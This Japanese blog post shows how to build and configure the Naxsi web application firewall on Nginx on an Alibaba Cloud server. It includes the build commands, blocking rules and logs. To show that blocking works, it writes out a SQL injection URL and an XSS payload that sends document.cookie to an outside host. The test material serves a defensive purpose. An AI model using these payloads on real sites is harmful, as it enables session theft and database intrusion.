Nginxを使った、Alibabaa CloudでのWAFソリューション(Naxsi)の構築検証

WAFとは

WAF (Web Application Firewall) とは、一般的にWebサーバーの前面に設置され、ウェブアプリケーションへの攻撃を防御するセキュリティー対策製品の1つです。

Naxsiとは

Naxsi は、Nginx Anti Xss & Sql Injection の略で、、ModSecurity などとは異なるポリシーの元に作られた新しい WAFです。アンチウィルスソフトなどで使われるシグネチャータイプではなく、 以下のような特徴を持っています。

  1.   XSS, SQL injection, CSRF, File include からの防衛
  2.   既知の攻撃に対するシグネチャーによらない防衛
  3.   GET/POST リクエストのチェック
  4.   HTTP ヘッダとクッキーのチェック
  5.   危険な記号類、SQL キーワードの禁止
  6.   早いエンジン
  7.   比較的に単純な設定
  8.   ホワイトリストアプローチの採用
  9.   学習モードのサポート

シグネチャーによらない防衛機能として、脆弱性のある良く知られた パターンの99% を含む単純なルールが用意されており、例えば、 URIの一部として <,|, drop などは含まれてはならない などです。

構築手順

1 ECSサーバーを作成

NginxNaxsiのインストール

それぞれの公式ホームページから、NginxNaxsiをダウンロードし、ローカルファイルシステムに展開します。

# wget http://nginx.org/download/nginx-1.12.1.tar.gz -q
# wget https://github.com/nbs-system/naxsi/archive/0.55.3.tar.gz -q
# ls
0.55.3.tar.gz  nginx-1.12.1.tar.gz
# tar xzf nginx-1.12.1.tar.gz 
# tar xzf 0.55.3.tar.gz 
# ls
0.55.3.tar.gz  naxsi-0.55.3  nginx-1.12.1  nginx-1.12.1.tar.gz
# mv naxsi-0.55.3 naxsi
# mv nginx-1.12.1 nginx
# ls
0.55.3.tar.gz  naxsi  nginx  nginx-1.12.1.tar.gz

必要となるライブラリPCRE zlib OpenSSLのインストール

# yum install -y pcre pcre-devel zlib zlib-devel openssl openssl-devel

ビルド・インストール・起動

# cd nginx
# ./configure --add-module=../naxsi/naxsi_src/ 
...中略
# make
...中略
# make install
...中略
# cd /usr/local/nginx/sbin/
# ./nginx 

グローバルIPアドレスにブラウザから接続すると、Nginxの画面ができました

不正なURLパラメータでも、正常にアクセスできます

NginxにおけるNaxsiの設定

nginx.confの編集

http {
    include       mime.types;
    #デフォルトで配布されているnaxsiルール
    include /root/naxsi/naxsi_config/naxsi_core.rules;
    default_type  application/octet-stream;

   ...中略

    server {
        listen       80;
        server_name  localhost;

         ...中略
        location / {
            root   html;
            index  index.html index.htm;
            #Enable naxsi
            SecRulesEnabled;
            #遮断する際に内部 リダイレクトする先
            DeniedUrl "/50x.html";
            #しきい値の設定
            CheckRule "$SQL >= 8" BLOCK;
            CheckRule "$RFI >= 8" BLOCK;
            CheckRule "$TRAVERSAL >= 4" BLOCK;
            CheckRule "$EVADE >= 4" BLOCK;
            CheckRule "$XSS >= 8" BLOCK;
            #BasicRule ホワイトリスト
            BasicRule wl:0 "mz:$ARGS_VAR:id";
     }

*デフォルトで配布されているnaxsiルールnaxsi_core.rulesで、CheckRuleにある$SQLとか、$RFIとかの値を設定する。CheckRuleのルールがtrueの場合、DeniedUrlにリダイレクトになります。

nginx を再起動

# cd ../sbin/
# ./nginx -t
nginx: the configuration file /usr/local/nginx/conf/nginx.conf syntax is ok
nginx: configuration file /usr/local/nginx/conf/nginx.conf test is successful
# ./nginx -s reload

グローバルIPアドレスにブラウザから接続すると、Nginxの画面が正常に表示されました

不正なURLパラメータでも、遮断されました

SQLインジェクション:

http://47.91.29.132/?para=admin’ and (Select count(*) from data where uname=’wucm’ and len(upass)<10)>0 and ‘a’=’a

XSS攻撃:

http://47.91.29.132/?para=<script>window.open(‘http://10.65.20.196:8080/cookie.asp?msg=’+document.cookie)</script>

これで、ECSでNaxsiを使ったWAF環境を構築しました

 

ログ:デフォルトで下記に記載されている

/nginx/logs/access.log: アクセスログ

/nginx/logs/error.log:エラーログ、naxsiに遮断されたリクエストもここに出力されます

例えば:

 SQLインジェクション:

http://47.91.29.132/?para=admin’ and (Select count(*) from data where uname=’wucm’ and len(upass)<10)>0 and ‘a’=’a

error.logに

2017/09/15 16:43:38 [error] 27388#0: *58943 NAXSI_FMT: ip=XXX.XXX.XXX.XXX&server=47.91.29.132&uri=/&learning=0&vers=0.55.3&total_processed=840&total_blocked=96&block=1&cscore0=$SQL&score0=8&zone0=ARGS&id0=1000&var_name0=para, client: 210.146.35.2, server: localhost, request: “GET /?para=admin%27%20and%20(Select%20count(*)%20from%20data%20where%20uname=%27wucm%27%20and%20len(upass)%3C10)%3E0%20and%20%27a%27=%27a HTTP/1.1”, host: “XXX.XXX.XXX.XXX”

が記入されました。

この記事をシェアする